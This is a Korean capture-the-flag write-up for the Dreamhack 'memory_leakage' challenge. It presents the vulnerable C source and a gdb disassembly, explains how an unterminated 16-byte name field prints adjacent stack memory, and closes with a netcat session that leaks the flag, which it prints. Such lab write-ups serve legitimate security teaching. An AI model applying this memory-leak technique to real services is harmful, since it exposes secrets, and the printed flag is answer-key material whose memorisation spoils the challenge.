dreamhack - memory_leakage writeup
[dreamhack] memory_leakage writeup
1. 문제

memory_leakage
이 문제는 서버에서 작동하고 있는 서비스(memory_leakage)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
FILE *fp;
struct my_page {
char name[16];
int age;
};
int main()
{
struct my_page my_page;
char flag_buf[56];
int idx;
memset(flag_buf, 0, sizeof(flag_buf));
initialize();
while(1) {
printf("1. Join\n");
printf("2. Print information\n");
printf("3. GIVE ME FLAG!\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
printf("Name: ");
read(0, my_page.name, sizeof(my_page.name));
printf("Age: ");
scanf("%d", &my_page.age);
break;
case 2:
printf("Name: %s\n", my_page.name);
printf("Age: %d\n", my_page.age);
break;
case 3:
fp = fopen("/flag", "r");
fread(flag_buf, 1, 56, fp);
break;
default:
break;
}
}
}
입력(1,2,3)에 따라 다른 코드를 실행하며
- 1번 입력시:
my_page
구조체의name
과age
변수에 입력을 받음 - 2번 입력시:
my_page
구조체에 입력된name
과age
변수를 출력함 - 3번 입력시:
flag_buf
변수에flag
파일로부터 읽은 내용을 넣음
2번 입력시 my_page
구조체의 name
변수를 %s
서식문자를 통해 출력하는 것을 볼 수 있는데, 이는 null
또는 \0
이 나올때까지 출력한다.
pwndbg> disass main
Dump of assembler code for function main:
0x080486eb <+0>: lea ecx,[esp+0x4]
0x080486ef <+4>: and esp,0xfffffff0
0x080486f2 <+7>: push DWORD PTR [ecx-0x4]
0x080486f5 <+10>: push ebp
0x080486f6 <+11>: mov ebp,esp
0x080486f8 <+13>: push ecx
0x080486f9 <+14>: sub esp,0x64
0x080486fc <+17>: mov eax,gs:0x14
0x08048702 <+23>: mov DWORD PTR [ebp-0xc],eax
0x08048705 <+26>: xor eax,eax
0x08048707 <+28>: sub esp,0x4
0x0804870a <+31>: push 0x38
0x0804870c <+33>: push 0x0
0x0804870e <+35>: lea eax,[ebp-0x44]
0x08048711 <+38>: push eax
0x08048712 <+39>: call 0x8048550 <memset@plt>
0x08048717 <+44>: add esp,0x10
0x0804871a <+47>: call 0x804869b <initialize>
0x0804871f <+52>: sub esp,0xc
0x08048722 <+55>: push 0x80488c9
0x08048727 <+60>: call 0x8048500 <puts@plt>
0x0804872c <+65>: add esp,0x10
0x0804872f <+68>: sub esp,0xc
0x08048732 <+71>: push 0x80488d1
0x08048737 <+76>: call 0x8048500 <puts@plt>
0x0804873c <+81>: add esp,0x10
0x0804873f <+84>: sub esp,0xc
0x08048742 <+87>: push 0x80488e6
0x08048747 <+92>: call 0x8048500 <puts@plt>
0x0804874c <+97>: add esp,0x10
0x0804874f <+100>: sub esp,0xc
0x08048752 <+103>: push 0x80488f7
0x08048757 <+108>: call 0x80484c0 <printf@plt>
0x0804875c <+113>: add esp,0x10
0x0804875f <+116>: sub esp,0x8
0x08048762 <+119>: lea eax,[ebp-0x5c]
0x08048765 <+122>: push eax
0x08048766 <+123>: push 0x80488fa
0x0804876b <+128>: call 0x8048560 <__isoc99_scanf@plt>
0x08048770 <+133>: add esp,0x10
0x08048773 <+136>: mov eax,DWORD PTR [ebp-0x5c]
0x08048776 <+139>: cmp eax,0x2
0x08048779 <+142>: je 0x80487da <main+239>
0x0804877b <+144>: cmp eax,0x3
0x0804877e <+147>: je 0x8048804 <main+281>
0x08048784 <+153>: cmp eax,0x1
0x08048787 <+156>: je 0x804878e <main+163>
0x08048789 <+158>: jmp 0x8048835 <main+330>
0x0804878e <+163>: sub esp,0xc
0x08048791 <+166>: push 0x80488fd
0x08048796 <+171>: call 0x80484c0 <printf@plt>
0x0804879b <+176>: add esp,0x10
0x0804879e <+179>: sub esp,0x4
0x080487a1 <+182>: push 0x10
0x080487a3 <+184>: lea eax,[ebp-0x58]
0x080487a6 <+187>: push eax
0x080487a7 <+188>: push 0x0
0x080487a9 <+190>: call 0x80484b0 <read@plt>
0x080487ae <+195>: add esp,0x10
0x080487b1 <+198>: sub esp,0xc
0x080487b4 <+201>: push 0x8048904
0x080487b9 <+206>: call 0x80484c0 <printf@plt>
0x080487be <+211>: add esp,0x10
0x080487c1 <+214>: sub esp,0x8
0x080487c4 <+217>: lea eax,[ebp-0x58]
0x080487c7 <+220>: add eax,0x10
0x080487ca <+223>: push eax
0x080487cb <+224>: push 0x80488fa
0x080487d0 <+229>: call 0x8048560 <__isoc99_scanf@plt>
0x080487d5 <+234>: add esp,0x10
0x080487d8 <+237>: jmp 0x8048835 <main+330>
0x080487da <+239>: sub esp,0x8
0x080487dd <+242>: lea eax,[ebp-0x58]
0x080487e0 <+245>: push eax
0x080487e1 <+246>: push 0x804890a
0x080487e6 <+251>: call 0x80484c0 <printf@plt>
0x080487eb <+256>: add esp,0x10
0x080487ee <+259>: mov eax,DWORD PTR [ebp-0x48]
0x080487f1 <+262>: sub esp,0x8
0x080487f4 <+265>: push eax
0x080487f5 <+266>: push 0x8048914
0x080487fa <+271>: call 0x80484c0 <printf@plt>
0x080487ff <+276>: add esp,0x10
0x08048802 <+279>: jmp 0x8048835 <main+330>
0x08048804 <+281>: sub esp,0x8
0x08048807 <+284>: push 0x804891d
0x0804880c <+289>: push 0x804891f
0x08048811 <+294>: call 0x8048540 <fopen@plt>
0x08048816 <+299>: add esp,0x10
0x08048819 <+302>: mov ds:0x804a06c,eax
0x0804881e <+307>: mov eax,ds:0x804a06c
0x08048823 <+312>: push eax
0x08048824 <+313>: push 0x38
0x08048826 <+315>: push 0x1
0x08048828 <+317>: lea eax,[ebp-0x44]
0x0804882b <+320>: push eax
0x0804882c <+321>: call 0x80484f0 <fread@plt>
0x08048831 <+326>: add esp,0x10
0x08048834 <+329>: nop
0x08048835 <+330>: jmp 0x804871f <main+52>
End of assembler dump.
gdb
를 보면 idx
변수는 [ebp-0x5c]
, my_page.name
이 [ebp-0x58]
, my_page.age
가 [ebp-0x48]
, flag_buf
가 [ebp-0x44]
에 차례로 위치함을 볼 수 있다.
만약 name
과 flag_buf
변수 사이에 null
값이 하나도 없다면 3번을 입력해서 받아온 flag
의 내용을 name
을 출력하는 것만으로 모두 출력이 가능할 것이다.
즉, 아래와 같은 상태이다.
flag_buf | ebp-0x44 |
my_page.age | ebp-0x48 |
my_page.name | ebp-0x58 |
idx | ebp-0x5c |
심지어 1번을 통해 name
을 입력할때 sizeof(name)
을 통해서 받으므로 16바이트 모두를 사용할 수 있고, age
는 int
형이므로 4바이트이상의 정수를 입력한 뒤 2번을 통해 출력하면 flag
를 얻을 수 있을 것이다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/memory_leakage$ nc host3.dreamhack.games 21407
1. Join
2. Print information
3. GIVE ME FLAG!
> 1
Name: jjjjjjjjjjjjjjjj
Age: 111111111111111111
1. Join
2. Print information
3. GIVE ME FLAG!
> 3
1. Join
2. Print information
3. GIVE ME FLAG!
> 2
Name: jjjjjjjjjjjjjjjjÿÿDH{a77ae81944bbbe70adb10d98dc191379}
Age: 2147483647
1. Join
2. Print information
3. GIVE ME FLAG!
>
해결~